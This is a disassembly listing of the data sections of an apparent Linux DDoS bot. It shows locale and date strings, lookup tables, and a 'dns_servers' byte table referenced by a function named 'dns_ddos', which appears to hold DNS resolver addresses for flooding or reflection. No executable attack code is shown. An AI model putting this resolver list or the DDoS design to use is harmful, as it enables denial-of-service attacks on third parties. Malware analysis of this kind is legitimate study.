		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db  48h	; H
		db  3Ah	; :
		db  25h	; %
		db  4Dh	; M
		db  3Ah	; :
		db  25h	; %
		db  53h	; S
		db    0	;  
		db  25h	; %
		db  6Dh	; m
		db  2Fh	; /
		db  25h	; %
		db  64h	; d
		db  2Fh	; /
		db  25h	; %
		db  79h	; y
		db    0	;  
		db  25h	; %
		db  61h	; a
		db  20h	;  
		db  25h	; %
		db  62h	; b
		db  20h	;  
		db  25h	; %
		db  64h	; d
		db  20h	;  
		db  25h	; %
		db  48h	; H
		db  3Ah	; :
		db  25h	; %
		db  4Dh	; M
		db  3Ah	; :
		db  25h	; %
		db  53h	; S
		db  20h	;  
		db  25h	; %
		db  59h	; Y
		db    0	;  
		db  50h	; P
		db  4Dh	; M
		db    0	;  
		db  41h	; A
		db  4Dh	; M
		db    0	;  
		db  44h	; D
		db  65h	; e
		db  63h	; c
		db  65h	; e
		db  6Dh	; m
		db  62h	; b
		db  65h	; e
		db  72h	; r
		db    0	;  
		db  4Eh	; N
		db  6Fh	; o
		db  76h	; v
		db  65h	; e
		db  6Dh	; m
		db  62h	; b
		db  65h	; e
		db  72h	; r
		db    0	;  
		db  4Fh	; O
		db  63h	; c
		db  74h	; t
		db  6Fh	; o
		db  62h	; b
		db  65h	; e
		db  72h	; r
		db    0	;  
		db  53h	; S
		db  65h	; e
		db  70h	; p
		db  74h	; t
		db  65h	; e
		db  6Dh	; m
		db  62h	; b
		db  65h	; e
		db  72h	; r
		db    0	;  
		db  41h	; A
		db  75h	; u
		db  67h	; g
		db  75h	; u
		db  73h	; s
		db  74h	; t
		db    0	;  
		db  4Ah	; J
		db  75h	; u
		db  6Ch	; l
		db  79h	; y
		db    0	;  
		db  4Ah	; J
		db  75h	; u
		db  6Eh	; n
		db  65h	; e
		db    0	;  
		db  41h	; A
		db  70h	; p
		db  72h	; r
		db  69h	; i
		db  6Ch	; l
		db    0	;  
		db  4Dh	; M
		db  61h	; a
		db  72h	; r
		db  63h	; c
		db  68h	; h
		db    0	;  
		db  46h	; F
		db  65h	; e
		db  62h	; b
		db  72h	; r
		db  75h	; u
		db  61h	; a
		db  72h	; r
		db  79h	; y
		db    0	;  
		db  4Ah	; J
		db  61h	; a
		db  6Eh	; n
		db  75h	; u
		db  61h	; a
		db  72h	; r
		db  79h	; y
		db    0	;  
		db  44h	; D
		db  65h	; e
		db  63h	; c
		db    0	;  
		db  4Eh	; N
		db  6Fh	; o
		db  76h	; v
		db    0	;  
		db  4Fh	; O
		db  63h	; c
		db  74h	; t
		db    0	;  
		db  53h	; S
		db  65h	; e
		db  70h	; p
		db    0	;  
		db  41h	; A
		db  75h	; u
		db  67h	; g
		db    0	;  
		db  4Ah	; J
		db  75h	; u
		db  6Ch	; l
		db    0	;  
		db  4Ah	; J
		db  75h	; u
		db  6Eh	; n
		db    0	;  
		db  4Dh	; M
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  41h	; A
		db  70h	; p
		db  72h	; r
		db    0	;  
		db  4Dh	; M
		db  61h	; a
		db  72h	; r
		db    0	;  
		db  46h	; F
		db  65h	; e
		db  62h	; b
		db    0	;  
		db  4Ah	; J
		db  61h	; a
		db  6Eh	; n
		db    0	;  
		db  53h	; S
		db  61h	; a
		db  74h	; t
		db  75h	; u
		db  72h	; r
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  46h	; F
		db  72h	; r
		db  69h	; i
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  54h	; T
		db  68h	; h
		db  75h	; u
		db  72h	; r
		db  73h	; s
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  57h	; W
		db  65h	; e
		db  64h	; d
		db  6Eh	; n
		db  65h	; e
		db  73h	; s
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  54h	; T
		db  75h	; u
		db  65h	; e
		db  73h	; s
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  4Dh	; M
		db  6Fh	; o
		db  6Eh	; n
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  53h	; S
		db  75h	; u
		db  6Eh	; n
		db  64h	; d
		db  61h	; a
		db  79h	; y
		db    0	;  
		db  53h	; S
		db  61h	; a
		db  74h	; t
		db    0	;  
		db  46h	; F
		db  72h	; r
		db  69h	; i
		db    0	;  
		db  54h	; T
		db  68h	; h
		db  75h	; u
		db    0	;  
		db  57h	; W
		db  65h	; e
		db  64h	; d
		db    0	;  
		db  54h	; T
		db  75h	; u
		db  65h	; e
		db    0	;  
		db  4Dh	; M
		db  6Fh	; o
		db  6Eh	; n
		db    0	;  
		db  53h	; S
		db  75h	; u
		db  6Eh	; n
		db    0	;  
dword_806BFB0	dd 5			; DATA XREF: _nl_load_locale+2F8r
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
aLc_all_0	db 'LC_ALL',0           ; DATA XREF: _nl_load_locale+1Ao
aLang_0		db 'LANG',0             ; DATA XREF: _nl_load_locale+53o
aLocal		db 'local',0            ; DATA XREF: _nl_load_locale+6Eo
aSS_0		db '%s/%s',0            ; DATA XREF: _nl_load_locale+CFo
aUsrShareLocale	db '/usr/share/locale',0 ; DATA XREF: _nl_load_locale+E7o
aSSS_0		db '%s/%s/%s',0         ; DATA XREF: _nl_load_locale+ECo
aSys_		db '/SYS_',0            ; DATA XREF: _nl_load_locale+13Do
aOutOfMemory_3	db 'out of memory',0    ; DATA XREF: xdr_reference+44o
aXdr_referenceS	db 'xdr_reference: %s',0Ah,0 ; DATA XREF: xdr_reference+59o
		db    0	;  
		db    1	;  
		db    2	;  
		db    2	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    0	;  
		db    1	;  
		db    2	;  
		db    2	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
_rodata		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	dword public 'DATA' use32
		assume cs:_data
		;org 806D228h
dword_806D228	dd 0			; DATA XREF: start+2Aw	setenv+41r ...
dns_servers	db 0Ch			; DATA XREF: dns_ddos+176r
		db    0	;  
		db  82h	; ┌
		db    2	;  
		db  0Ch	;  
		db    1	;  
		db  6Ah	; j
		db    5	;  
		db  0Ch	;  
		db    1	;  
		db  6Ah	; j
		db    6	;  
		db  0Ch	;  
		db    1	;  
		db  4Ah	; J
		db    2	;  
		db  0Ch	;  
		db  66h	; f
		db 0F0h	; П
		db    2	;  
		db  0Ch	;  
		db  6Bh	; k
		db 0B0h	; ╟
		db  29h	; )
		db  0Ch	;  
		db  6Bh	; k
		db 0B0h	; ╟
		db  2Ah	; *
		db  0Ch	;  
		db  6Dh	; m
		db  6Fh	; o
		db    2	;  
		db  0Ch	;  
		db  6Dh	; m
		db 0F0h	; П
		db    7	;  
		db  0Ch	;  
		db  6Dh	; m
		db 0F0h	; П
		db    8	;  
		db  0Ch	;  
		db  0Bh	;  
		db  94h	; ■
		db  0Bh	;  
		db  0Ch	;  
		db  6Fh	; o
		db 0CBh	; к
		db  7Eh	; ~
		db  0Ch	;  
		db  7Fh	; 
		db  10h	;  
		db  43h	; C
		db  0Ch	;  
		db  7Fh	; 
		db  10h	;  
		db  45h	; E
		db  0Ch	;  
		db  7Fh	; 
		db  10h	;  
		db  46h	; F
		db  0Ch	;  
		db  7Fh	; 
		db  11h	;  
		db  47h	; G
		db  0Ch	;  
		db  7Fh	; 
		db  11h	;  
		db  48h	; H
		db  0Ch	;  
		db  7Fh	; 
		db  11h	;  
		db  4Ah	; J
		db  0Ch	;  
		db  0Dh	;  
		db 0E1h	; А
		db  0Bh	;  
		db  0Ch	;  
		db  0Dh	;  
		db 0E1h	; А
		db  0Ch	;  
		db  0Ch	;  
		db  0Dh	;  
		db 0EDh	; М
		db  0Bh	;  
		db  0Ch	;  
		db  0Dh	;  
		db 0F7h	; В
		db  0Bh	;  
		db  0Ch	;  
		db  0Eh	;  
		db 0D6h	; ж
		db  15h	;  
		db  0Ch	;  
		db  0Eh	;  
		db 0E1h	; А
		db  0Ah	;  
		db  0Ch	;  
		db  95h	; ∙
		db  4Eh	; N
		db 0E2h	; Б
		db  0Ch	;  
		db  0Fh	;  
		db 0E2h	; Б
		db  1Ch	;  
		db  0Ch	;  
		db  0Fh	;  
		db 0E2h	; Б
		db  1Dh	;  
		db  0Ch	;  
		db  10h	;  
		db 0A4h	; є
		db    2	;  
		db  0Ch	;  
		db  10h	;  
		db  29h	; )
		db    5	;  
		db  0Ch	;  
		db  10h	;  
		db  29h	; )
		db    8	;  
		db  0Ch	;  
		db  10h	;  
		db  29h	; )
		db    9	;  
		db  0Ch	;  
		db 0A1h	; ║
		db  0Ah	;  
		db 0FCh	; Э
		db  0Ch	;  
		db 0A1h	; ║
		db 0C0h	; ю
		db    9	;  
		db  0Ch	;  
		db 0A1h	; ║
		db 0E1h	; А
		db  0Ah	;  
		db  0Ch	;  
		db 0A1h	; ║
		db 0E1h	; А
		db  0Fh	;  
		db  0Ch	;  
		db 0A1h	; ║
		db  60h	; `
		db    2	;  
		db  0Ch	;  
		db 0A1h	; ║
		db  60h	; `
		db    3	;  
		db  0Ch	;  
		db 0A2h	; ╒
		db  80h	; ─
		db  18h	;  
		db  0Ch	;  
		db 0A2h	; ╒
		db  80h	; ─
		db  1Ah	;  
		db  0Ch	;  
		db 0A2h	; ╒
		db  26h	; &
		db  19h	;  
		db  0Ch	;  
		db  11h	;  
		db  7Eh	; ~
		db  28h	; (
		db  0Ch	;  
		db  11h	;  
		db  7Eh	; ~
		db  29h	; )
		db  0Ch	;  
		db  11h	;  
		db  8Eh	; ▌
		db    1	;  
		db  0Ch	;  
		db  11h	;  
		db 0A3h	; ё
		db  1Dh	;  
		db  0Ch	;  
		db  11h	;  
		db 0C1h	; а
		db 0BCh	; ╪
		db  0Ch	;  
		db    2	;  
		db    6	;  
		db  27h	; '
		db  0Ch	;  
		db  14h	;  
		db 0A0h	; ═
		db 0E2h	; Б
		db  0Ch	;  
		db  15h	;  
		db  0Ch	;  
		db    4	;  
		db  0Ch	;  
		db  15h	;  
		db  0Ch	;  
		db    9	;  
		db  0Ch	;  
		db  15h	;  
		db  78h	; x
		db    2	;  
		db  0Ch	;  
		db  15h	;  
		db  78h	; x
		db    3	;  
		db  0Ch	;  
		db  15h	;  
		db  84h	; └
		db    2	;  
		db  0Ch	;  
		db  15h	;  
		db  84h	; └
		db    3	;  
		db  0Ch	;  
		db  15h	;  
		db  89h	; ┴
		db 0D2h	; р
		db  0Ch	;  
		db  15h	;  
		db  89h	; ┴
		db 0D3h	; с
		db  0Ch	;  
		db  15h	;  
		db  90h	; ░
		db    2	;  
		db  0Ch	;  
		db  15h	;  
		db 0B0h	; ╟
		db  0Ah	;  
		db  0Ch	;  
		db  15h	;  
		db 0D7h	; в
		db    1	;  
		db  0Ch	;  
		db  15h	;  
		db 0E4h	; Д
		db  66h	; f
		db  0Ch	;  
		db  15h	;  
		db 0E4h	; Д
		db  67h	; g
		db  0Ch	;  
		db  15h	;  
		db  20h	;  
		db    2	;  
		db  0Ch	;  
		db  15h	;  
		db    4	;  
		db    2	;  
		db  0Ch	;  
		db  15h	;  
		db  2Dh	; -
		db    1	;  
		db  0Ch	;  
		db  15h	;  
		db  4Ch	; L
		db  0Dh	;  
		db  0Ch	;  
		db  15h	;  
		db  4Ch	; L
		db  0Eh	;  
		db  0Ch	;  
		db  16h	;  
		db  3Ch	; <
		db  23h	; #
		db  0Ch	;  
		db  17h	;  
		db  10h	;  
		db  22h	; "
		db  0Ch	;  
		db  19h	;  
		db 0F4h	; Т
		db  0Bh	;  
		db  0Ch	;  
		db  1Ah	;  
		db  45h	; E
		db  32h	; 2
		db  0Ch	;  
		db  1Ch	;  
		db 0C8h	; х
		db  0Bh	;  
		db  0Ch	;  
		db  1Ch	;  
		db  38h	; 8
		db    2	;  
		db  0Ch	;  
		db  1Ch	;  
		db  38h	; 8
		db    3	;  
		db  0Ch	;  
		db  1Dh	;  
		db 0AFh	; ╞
		db    2	;  
		db  0Ch	;  
		db  1Dh	;  
		db 0C2h	; б
		db  6Ch	; l
		db  0Ch	;  
		db  1Eh	;  
		db  23h	; #
		db  7Eh	; ~
		db  0Ch	;  
		db  20h	;  
		db  90h	; ░
		db 0AEh	; ў
		db  0Ch	;  
		db  21h	; !
		db 0BFh	; ©
		db  0Fh	;  
		db  0Ch	;  
		db  22h	; "
		db  90h	; ░
		db    2	;  
		db  0Ch	;  
		db  23h	; #
		db 0F5h	; У
		db    6	;  
		db  0Ch	;  
		db  27h	; '
		db 0F1h	; Я
		db  85h	; ┘
		db  0Ch	;  
		db  27h	; '
		db 0F2h	; Р
		db  85h	; ┘
		db  0Ch	;  
		db    4	;  
		db  75h	; u
		db    2	;  
		db  0Ch	;  
		db  28h	; (
		db 0A2h	; ╒
		db  4Bh	; K
		db  0Ch	;  
		db  28h	; (
		db    8	;  
		db    3	;  
		db  0Ch	;  
		db  29h	; )
		db  7Ah	; z
		db  0Ah	;  
		db  0Ch	;  
		db  29h	; )
		db  7Ah	; z
		db  0Bh	;  
		db  0Ch	;  
		db  29h	; )
		db  7Ch	; |
		db    6	;  
		db  0Ch	;  
		db  29h	; )
		db  7Ch	; |
		db    9	;  
		db  0Ch	;  
		db  29h	; )
		db 0B6h	; І
		db  0Ah	;  
		db  0Ch	;  
		db  29h	; )
		db 0B6h	; І
		db  0Dh	;  
		db  0Ch	;  
		db  29h	; )
		db 0B8h	; ╦
		db 0F1h	; Я
		db  0Ch	;  
		db  29h	; )
		db 0E0h	; Ю
		db  25h	; %
		db  0Ch	;  
		db  29h	; )
		db 0EAh	; Й
		db    2	;  
		db  0Ch	;  
		db  29h	; )
		db 0EAh	; Й
		db  23h	; #
		db  0Ch	;  
		db  29h	; )
		db 0ECh	; Л
		db  43h	; C
		db  0Ch	;  
		db  29h	; )
		db 0ECh	; Л
		db  44h	; D
		db  0Ch	;  
		db  29h	; )
		db 0EDh	; М
		db    1	;  
		db  0Ch	;  
		db  29h	; )
		db  42h	; B
		db    8	;  
		db  0Ch	;  
		db  29h	; )
		db  58h	; X
		db 0D3h	; с
		db  0Ch	;  
		db  29h	; )
		db  58h	; X
		db    8	;  
		db  0Ch	;  
		db  29h	; )
		db  5Dh	; ]
		db    5	;  
		db  0Ch	;  
		db    5	;  
		db 0B3h	; Ё
		db  14h	;  
		db  0Ch	;  
		db    5	;  
		db 0B3h	; Ё
		db  15h	;  
		db  0Ch	;  
		db    6	;  
		db  79h	; y
		db  0Ah	;  
		db  0Ch	;  
		db    6	;  
		db  22h	; "
		db    2	;  
		db  0Ch	;  
		db    6	;  
		db  2Ah	; *
		db    1	;  
		db  0Ch	;  
		db    6	;  
		db  2Ah	; *
		db    2	;  
		db  0Ch	;  
		db    7	;  
		db 0F4h	; Т
		db  0Bh	;  
		db  80h	; ─
		db  0Ah	;  
		db    2	;  
		db    5	;  
		db  80h	; ─
		db  64h	; d
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  64h	; d
		db  64h	; d
		db    1	;  
		db  80h	; ─
		db  64h	; d
		db  64h	; d
		db  80h	; ─
		db  80h	; ─
		db  64h	; d
		db  66h	; f
		db  70h	; p
		db  80h	; ─
		db  64h	; d
		db  66h	; f
		db 0C9h	; и
		db  80h	; ─
		db  64h	; d
		db  66h	; f
		db    3	;  
		db  80h	; ─
		db  65h	; e
		db  65h	; e
		db  65h	; e
		db  80h	; ─
		db  66h	; f
		db  8Ah	; ┼
		db  62h	; b
		db  80h	; ─
		db  66h	; f
		db  10h	;  
		db    2	;  
		db  80h	; ─
		db  66h	; f
		db  12h	;  
		db  1Fh	;  
		db  80h	; ─
		db  67h	; g
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  67h	; g
		db 0C8h	; х
		db  65h	; e
		db  80h	; ─
		db  68h	; h
		db  19h	;  
		db  0Ah	;  
		db  80h	; ─
		db  68h	; h
		db  1Eh	;  
		db  11h	;  
		db  80h	; ─
		db  68h	; h
		db  1Eh	;  
		db  3Ch	; <
		db  80h	; ─
		db  69h	; i
		db    2	;  
		db  0Ah	;  
		db  80h	; ─
		db  69h	; i
		db    2	;  
		db    6	;  
		db  80h	; ─
		db  6Dh	; m
		db  82h	; ┌
		db    2	;  
		db  80h	; ─
		db  6Dh	; m
		db  83h	; ┐
		db    3	;  
		db  80h	; ─
		db  6Dh	; m
		db  83h	; ┐
		db  28h	; (
		db  80h	; ─
		db  6Dh	; m
		db 0C1h	; а
		db    1	;  
		db  80h	; ─
		db  6Eh	; n
		db  7Ch	; |
		db  78h	; x
		db  80h	; ─
		db  6Eh	; n
		db  84h	; └
		db  63h	; c
		db  80h	; ─
		db  6Fh	; o
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  6Fh	; o
		db    1	;  
		db    2	;  
		db  80h	; ─
		db  70h	; p
		db  80h	; ─
		db    1	;  
		db  80h	; ─
		db  70h	; p
		db  81h	; │
		db  0Fh	;  
		db  80h	; ─
		db  71h	; q
		db    1	;  
		db    3	;  
		db  80h	; ─
		db  71h	; q
		db    1	;  
		db    5	;  
		db  80h	; ─
		db  72h	; r
		db  81h	; │
		db  69h	; i
		db  80h	; ─
		db  72h	; r
		db  81h	; │
		db  21h	; !
		db  80h	; ─
		db  72h	; r
		db  8Eh	; ▌
		db    6	;  
		db  80h	; ─
		db  73h	; s
		db 0F9h	; Ы
		db    1	;  
		db  80h	; ─
		db  73h	; s
		db 0F9h	; Ы
		db    2	;  
		db  80h	; ─
		db  76h	; v
		db  8Dh	; █
		db  20h	;  
		db  80h	; ─
		db  76h	; v
		db  19h	;  
		db    3	;  
		db  80h	; ─
		db  77h	; w
		db 0A6h	; і
		db  0Eh	;  
		db  80h	; ─
		db  77h	; w
		db 0AFh	; ╞
		db  0Eh	;  
		db  80h	; ─
		db  77h	; w
		db  28h	; (
		db  0Ch	;  
		db  80h	; ─
		db  79h	; y
		db 0C1h	; а
		db    2	;  
		db  80h	; ─
		db  79h	; y
		db 0C1h	; а
		db    3	;  
		db  80h	; ─
		db  79h	; y
		db 0C1h	; а
		db  52h	; R
		db  80h	; ─
		db  79h	; y
		db    6	;  
		db    2	;  
		db  80h	; ─
		db  79h	; y
		db    6	;  
		db 0FDh	; Щ
		db  80h	; ─
		db  7Ah	; z
		db  80h	; ─
		db  18h	;  
		db  80h	; ─
		db  7Ah	; z
		db  81h	; │
		db    2	;  
		db  80h	; ─
		db  7Ah	; z
		db 0FDh	; Щ
		db  25h	; %
		db  80h	; ─
